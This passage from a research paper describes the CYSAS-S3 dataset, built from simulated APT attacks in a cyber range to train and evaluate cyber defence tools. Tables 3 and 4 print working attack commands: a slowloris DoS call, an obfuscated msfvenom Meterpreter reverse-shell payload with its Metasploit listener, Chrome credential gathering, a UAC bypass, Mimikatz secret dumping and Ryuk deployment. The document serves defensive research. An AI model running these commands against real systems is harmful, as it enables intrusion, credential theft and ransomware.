Table 3. Detailed steps to perform the attack in Scenario 2.

MITRE ATT & CK Phase Tools Actions and Commands

T1247 0 N/A N/A
T1498 1 perl + slowloris script [80] perl slowloris.pl -dns ip

Scenario Initialitation

0

1

T1247: Acquire OSINT data 
sets and information 

T1498: Network Denial of 
Service

Figure 6. Scenario 2—Cyber kill chain for Webserver Denial of Service.

4.5. Fictitious Scenario 3: Credential Steal

During this adversarial scenario, the intruder has the objective of making the target
computer unusable at the same time that the user credentials are stolen. The scenario depicts
a joint attack made by a phishing email in which there is a malicious link and a malicious
attachment driven by spear phishing tactics. The malicious link will be downloaded and
obfuscated via a Meterpreter reverse shell. This reverse shell provided a remote Command
and Control (C&C) service ready to listen for incoming connections. Once the connection
has been established (the victim launched the malicious attachment), the C&C will receive a
reverse shell connection, consequently starting the post-exploitation modules of Mimikatz
and Chrome gathering for retrieving plain credentials. After the completion of those
actions, the malicious service will upload Ryuk ransomware into the victim’s machine and
execute it. Table 4 details the executed APT phases in compliance with the MITRE ATT&CK
taxonomy, including the cyber kill chain. Figure 7 shows the flow of execution of the attack
according to each of the phases defined previously.
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Table 4. Detailed steps to perform the attack in Scenario 3.

MITRE ATT & CK Phase Tools Actions and Commands

T1247 0 N/A N/A

T1192 and T1193 2 Meterpreter obfuscated reverse shell
with msfvenom

msfvenom -p window/meterpreter/reverse_tcp
LHOST = ip
LPORT = 4444 -e x86/shikata_ga_nai -I
20 -f exe >xxx.exe

T1094 3 Metasploit

The attacker delivers this malware sample to the
victim via email and starts a reverse shell listener:
1- msfconsole
2- use multi/handler
3- set payload windows/meterpreter/reverse_tcp
4- set LHOST ip
5- set LPORT 4444
6- run

T1003 4 Post Exploitation w/Cred dumping (Chrome):
Chrome gathering post-exploitation stager

The attacker receives the reverse shell and
immediately throws a post-exploitation module
in order to gather credentials stored within the
Chrome web browser:
- background (1st session to back)
- use post/windows/gather/enum_chrome
- set session 1
- run

T1088 4
Privilege scalation-Bypass User Account Control
(Required for the following but not stated
in previous diagrams)

In order to perform further credential dumping
the attacker requires SYSTEM elevation:
- use exploit/windows/local/bypassuac
- set session 1
- run
- getsystem

T1003 4
Post Exploitation w/ Cred dumping
(Win Domain and Logon) with Kiwi (Mimikatz)

Local/Domain creds dump
- load kiwi (from previous meterpreter—session 1)
- lsa_dump_secrets

T1486 4 Impact—Data encryption Execution of Ryuk ransomware

Scenario Initialitation

0

1

2 3

T1247: Acquire OSINT data 
sets and information 

T1193: Spearphishing Email 
Attachments 4

T1192: Spearphishing Link
T1094: Custom Command 

and Control Protocol

T1003: Credential Dumping

T1088: Bypass User 
Account Control

T1003: Credential Dumping

T1486: Data Encrypted for 
Impact

Figure 7. Scenario 3—Cyber kill chain for Credential Steal.



Sensors 2022, 22, 5104 16 of 26

4.6. Dataset Description

Several attacks have been performed according to the APT explained in the previous
sections. After successive debugging of the activity, the following samples were obtained:
108 from the first scenario, 47 from the second one, and 29 from the last one. Each run is
packaged within a single csv in which all entries share the timestamp format that marks the
run time. The fields of each one of the different beats in charge of processing and feeding
the information into the database have been respected, which, although it complicates the
reading of the CYSAS-S3 dataset, facilitates its ingestion by automatic tools. Therefore,
each sample of the datasets represents a scenario execution and comprises the following
information concerning the observed related indicators:

• An overall CSV file that describes per timestamp, the events, registers, and alerts
monitored, including the step of the cyber kill chain from which the observation
belongs and metadata related to the configuration of the hostile activity orchestrator
(the Indra’s Cyber Range STAN component).

• A PCAP file that packs all the network traces collected within the attack scenario.
• Reports from NIDS (Suricata) and HIDS (OSSEC) deployed through the synthetic

operational environment.
• Periodic logs of syscalls, registers, privilege gain attempts, etc., reported by winlogbeat

Sysmon on the different machines.

The following describes the most important contents of the different datasets when it
comes to identifying the central points that allow the identification of the different links in
the killing chain for each defined APT. The associated raw monitored traffic traces have also
been collected and packed as PCAP files, so future research may arrange both summarised
and large raw registrations. Events captured by the Suricata network probe are mostly
traffic flows generated during the scenario execution; they will fall in the module Suricata,
category network_traffic and the Suricata event dataset. A typical entry contains the fields
indicated in Table 5.

The specific OSSEC information is stored beside the aforementioned message field in
the input field (type: log) and log field (which stored information related to the file and
offset related to the alert in the OSSEC agent log file). The host file contains information
related to the system that has generated the alert, and in the agent field, the most relevant
of this type are shown: filebeat (showing that the filebeat has been used to send the entry
to the ELK server). The winlogbeat entries, which send the Sysmon windows events to
the ELK server, can be easily identified by the field type: “winlogbeat” and the hostname:
“Fileserver” in the agent column of the csv file. If the event column of the csv information
related to the logged windows event can be found, the attributes indicated in Table 6 detail
its different json fields.

Table 5. NID-related attributes in CSV files.

Feature Description

duration Duration of the flow

original Original message generated by Suricata in json format

timestamp Date abd Time of the event

event_type Traffic Flow

src_ip IP address of the system originating the traffic flow

src_port Port used by the system originating the traffic flow

dest_ip IP address of the destination system

dest_port Port destination of the traffic flow

proto Network protocol (TCP, UDP, . . . )
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Table 5. Cont.

Feature Description

flow (pkts_toserver) Number of packets sent to the server

flow (pkts_toclient) Number of packets received by the client

flow (bytes_to_server) Bytes sent to server

flow (bytes_to_client) Bytes sent to client

flow (start) Flow start timestamp

flow (end) Flow end timestamp

flow (age) Duration of the current flow

flow (reason) State of the flow (new)

flow (alerted) Marks whether the event has generated an alert or not

tcp(tcp_flags) Flags of the tcp packet

tcp(tcp_flags_ts) URG(32) ACK(16) PSH(08) RST(04) SYN(02) FIN(01)
NONE(00)

tcp(tcp_flags_tc) URG(32) ACK(16) PSH(08) RST(04) SYN(02) FIN(01)
NONE(00)

tcp(syn) Marks whether the packet has the syn flag active or not

tcp(state) Stated of the TCP connection

created Even creation timestamp

kind Event

module Suricata module

start Event start timestamp

end Event end timestamp

category Network_traffic

dataset Suricata.eve

Table 6. HIDS-related attributes in CSV files.

Feature Description

type Which type of actions are logged

outcome Result of the action

action Exact action

created Creation time stamp for the action

provider Microsoft-Windows-Security-Auditing

kind Event

code Windows-specific code for the action

module EvenLog module that generated the entry

5. Mission-Level CYSAS-S3

The dataset shall be able to cover from the discovery of potential threats/attacks
to the suggestion of the best suitable courses of action based on the context of ongo-
ing/planned military missions (e.g., propagation of cyber threat to mission tasks, conse-
quences on the mission goals, etc.). In order to support these validations, and beyond
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the scope of the existing state-of-the-art datasets and evaluation methodologies, mission-
level reports of military operations have been synthetically simulated in parallel with the
cyber-attack scenarios described in Section 4. Accordingly, the mission execution was mod-
ified/affected by the malicious activities simulated within Indra’s Cyber Range platform
(see Figure 8). These mission-level simulations were developed and executed on the
grounds of Indra’s Synthetic Mission Generator (ISMG) [81], a discrete event simulation
suite driven by Drools that facilitates scheduling and orchestrating queues of mission tasks.
Accordingly, the missions were represented as task execution flows, which assumed task
dependencies and planned execution times.

The mission-level CYSAS-S3 dataset synthesized all the simulation logs as CSV files.
Each sample has its corresponding simulation log, which preserved the same name but
included the prefix “_mia”. For example, the sample cysa_log_202-123616_0.csv corre-
sponds with the simulation: log mia_cysa_log_202-123616_0.csv. Its entry into the mission
logs is an observation (probe) reported by an active task. For example, if at the timestamp
2019-02-02T11:40:33Z are two tasks in progress, then two new log entries will be created,
each one corresponding to the mission-level metrics corresponding to such task. Table 7 de-
scribes the attributes synthesized at each mission simulation stage. The simulated mission
workflow is illustrated in Figure 8, which introduces three main tasks (T1: Incursion, T2:
Recover USB, and T3: Send data to File Server). The last one has been separated into four
subtasks (T3A: Insert the USB into the laptop; T3B: Connect to Webmail; T3C Get file server
credentials; and T3D: Upload information).
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IT/OT Services

IT/OT Systems

IT/OT Systems NPC (Neutral)IT/OT Services NPC (STAN)

Incursion

Recover USB

Connect to 
Webmail
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Information
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Figure 8. Convergence between cyberspace and missions.
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Table 7. Mission-level attributes.

Feature Description

timestamp Indicates when each log entry was created

task Task from which the entry was generated

Status Task status: Wait, Init, Progress, Complete

phase Mission phase

baseDCIS Potential dependence on CIS Capacities (DCIS) [0. . . 1]

baseAS Adversarial Skills (AS) needed to jeopardize a Capability on which a
mission task is dependent [0. . . 1]

baseACA Adversarial CIS Actuators (ACA) needed to jeopardize a mission task
[0. . . 1]

contextCDA Potential Collateral Damage (CDA) [0. . . 1]

contextTRD Potential Target Distribution (TRD) in the surrounding of a compromise
capability [0. . . 1]

contextRML Remediation Level (RML) [0. . . 1] based on the available response capa-
bilities

Finally, it is important to remark that attacks occur only at the CIS level. The mission
runs in parallel to the attack, so attacks will impact the cyber assets required for each phase
of the mission. The triggering of the cyber kill chain has been randomised so that in each
executed mission, attacks will hit different tasks leading to different types of propaga-
tions. Each sample will include the exact time at which each phase of the cyber kill chain
was executed.

Mission Progress Indicators

In order to simulate the evolution of the mission-level metrics as the mission pro-
gresses, the ISMG introduces pseudorandom mutations at each of its iterations. However,
in order to make these mutations somehow realistic and coherent, simulation rules were
implemented according to the following basic assumptions:

1. As the task progresses, the exploitability scores AS and ACA tend to decrease as the
opportunity for interference from a potential adversary runs out [82]. Operational con-
text scores do not necessarily follow this trend, as collateral damage and remediation
cost depend on the success of the task as a whole.

2. AS and ACA will be correlated with DCIS. High dependence on CIS infrastructure
increases the surface area for attacks, thus lowering the level of ability and resources
required for exploitation.

3. DCIS will also be highly correlated with TRD and CDA. It is safe to assume that a high
dependency on CIS infrastructure is linked to a higher chance of collateral damage
should this infrastructure be attacked [83].

The variation of these scores given the base scores is simulated as follows: for each
metric (DCIS, AS, ACA, CDA, TDR and RML), a base variation coefficient α is selected at
random from a distribution Z. In this context, a scenario where there is no incident that
significantly affects any of the mission tasks was assumed. This is a reasonable assumption
since it was supposed that at each step of the mission, effective countermeasures are being
put in place in response to any possible incoming attacks. Therefore, it was selected:
Z ∼ N(1, σ2). The variability of each metric is controlled by the deviation σ. For the sake
of simplicity, the conducted simulations were driven with set σ2 = 0.025 for all the metrics.
In order to model the tendency of AS and ACA metrics to decrease as the task progresses,
bias on their original variation coefficients has been considered. These biases are also



Sensors 2022, 22, 5104 20 of 26

regulated by σ2. Once introduced, the underlying distribution for AS and ACA variation
coefficient is:

Z′ ∼ N(1− σ2

2
, σ2) (1)

The last step before obtaining the final variation coefficients is to introduce the depen-
dency between the DCIS metric and AS, ACA, CDA and TRD metrics. As the dependency
between these metrics is direct, ISMG computed the final variation coefficient by multiply-
ing the base coefficients with the DCIS base coefficient.

6. Guidelines for CYSAS-S3 Adoption in Mission-Centric Evaluation Methods

The following are some recommendations for the adoption of the dataset in mission-
focused evaluation methodologies. With this motivation, the authors suggest taking
advantage of the existence of correlated information between cyberspace, threats, and
missions as part of a complete analysis cycle; this may involve different artefacts for threat
management.

Since each attack step is properly labelled and distinguishable within the CYSAS-S3
dataset contents, an evaluation iteration (Evaluation Loop) may be triggered per step of
the registered cyber kill chains. The Evaluation Loop shall first allow the validation of
the capabilities for perceiving and assessing CIS-level risks/threats in cyberspace, which
are referred to as Dynamic cyber Risk Assessment (DRA) tools. Then, the functionalities
able to infer the propagation of such incidents and observations to the mission domain are
analysed, including the identification of mission-level risks/threats, being referred to as
Mission Impact Assessment (MIA) tools. In the next stage, the capabilities for identifying,
selecting, planning and transposing the consequent courses of action from the mission
plane to the cyber domain (countermeasures) shall be evaluated, being referred to as
Risk Management tools. All this information must be able to facilitate that users acquire
awareness about the operational picture, which, as a next evaluation stage, shall be studied
via analysing biometric and cognitive traits. In order to ensure the applicability of the
solution, as a final stage, user acceptance shall be measured by direct querying. The
evaluation tests (unity, integrity, reliability, security) may be conducted before, during or at
the end of the Evaluation Loop.

Figure 9 summarizes the evaluation workflow as an activity diagram. As illustrated,
the actions concerning the testing concept are executed according to the following sequence:
unity tests, integrity tests, security tests and reliability tests. Then, the operation concept is
evaluated once the Evaluation Loop is triggered, including cross-component validations
and the analysis of the effectiveness of the solution discovery, risk assessment and risk
management capabilities. The evaluation loop is triggered once per phase on the cyber
kill chain of each attack scenario. At the end of each phase, the application concepts will
be evaluated, including the capability for bringing cyber situational awareness and user
acceptance. All the observed results will be properly collected and stored for supporting
further modifications, integrations or deployments in different operational contexts.
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Figure 9. Evaluation Workflow Loop.

7. Conclusions and Future Work

The presented research described CYSAS-S3, a dataset designed and built serving the
purpose of supporting the calibration, training and evaluation of cyber defence tools. The
subject of the conducted efforts faced an unprecedented problem in the state-of-the-art,
which is being able to connect in a hyperrealist simulated environment, the impact of real
cyber attacks (executed as kill chains of APTs during cyber manoeuvre) on the cybernetic
assets that enable the capabilities needed for success on a mission. The datasets connect
cyber situations with the effects on each mission’s task, objectives, etc. Each cyber attack
described a complete kill chain.

The results rejected the null hypothesis adopted when defining its design principles,
making the alternative hypothesis valid: thus, it is possible to infer such a dataset from
different fictitious attack scenarios. Beyond the scope of this paper, further details were
documented, including usage guidelines, more in-depth analytics, etc. The CYSAS-S3
dataset combined cyber defence traits with mission simulations, so it is possible to assess
from them the effectiveness of cyber defence tools capable of inferring both vertical and
horizontal propagations between cyberspace and ongoing/planned military operations
(specific objective 2).

The CYSAS-S3 dataset comprised three APT-related simulated scenarios able to com-
plement each other, exploring the heterogeneity between different cyber kill chains (specific
objective 3). The presented research may be expanded by further analytic actions. They
include, among others, the study of the impact of the procedurally generated activities
(artificial local and network usage profiles) on the cyber defence tools target of evaluation,
a wider description of the fictitious attack scenarios implemented (command executed,
scripts, behavioural models, etc.) or additional details of the supportive infrastructure (e.g.,
Indra’s Cyber Range, Indra’s Synthetic Mission Generator). Potential future research steps
may explore alternative simulated attack scenarios and simulated joint missions, where the
impact of cyber threats/risks could be propagated to other domains (air, land, sea, space)
and even to hybrid conflict situations (social, economics, politics, etc.). Other interesting
research lines come from the following challenges:

• Include more varied tactics, techniques, and procedures (TTP), as well as alternative
cyber kill chains. Explore promising concepts that embrace adversarial thinking, as is
the case of the MITRE Engage taxonomy or related ones.

• Experiment with new mission types and include native military elements such as: deci-
sive conditions, interdependence between lines of operation, centres of
gravity, etc.
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• Generate samples with different profiles, both on the attacker side and on the side of
the benign user operating the system. Some parameters could regulate aspects such
as initiative, predictability, stress level, etc.
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Abbreviations
The following abbreviations are used in this paper:

ACA Adversarial CIS Actuators
AG Augmented Reality
APT Advanced Persistent Threats
CAD Computer-Aided Design
CIS Communications and Information Systems
COTS Commercial off-the-shelf
CSV Comma-separated values
CVE Common Vulnerabilities and Exposures
CDA Potential Collateral Damage
C&C Command and Control
CDX Cyber Defence Exercises
CMS Content Management System
CSA Cyber Situational Awareness
CYSAS Cyber Situational Awareness System
DCIS potential dependence on CIS Capacities
DoS Denial of Service
DRA Dynamic cyber Risk Assessment
DT Digital Twins
ELK Elasticsearch, Logstash and Kibana
GAN Generative Adversarial Networks
HIDS Host-based Intrusion Detection System
HMI Human–Machine Interfacing
ICMP Internet Control Message Protocol
ICR Indra Cyber Range Platform
IDS Intrusion Detection System
ISMG Indra’s Synthetic Mission Generator
MAC Media Access Control
MI Mission Impact
MIA Mission Impact Assessment
NFV Network Function Virtualization
NIDS Network-based Intrusion Detection System
OSI Open Systems Interconnection
OSSEC Open Source HIDS SECurity
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PCAP Packet Capture
RM Risk Management
RTU Relay Terminal Unit
SDN Software Defined Networking
SMB Server Message BLOCK
SOC Security Operation Centres
STAN Synthetic Training Attack and Neutral
TCP Transmission Control Protocol
TTP Tactics, Techniques, and Procedures
UDP User Datagram Protocol
VM Virtual Machines
α Base variation coefficient α for scenario composition
σ variability of each scenario metric

Z
The Z Distribution is a special case of the Normal Distribution with a mean of 0 and
standard deviation of 1

N Normal Distribution
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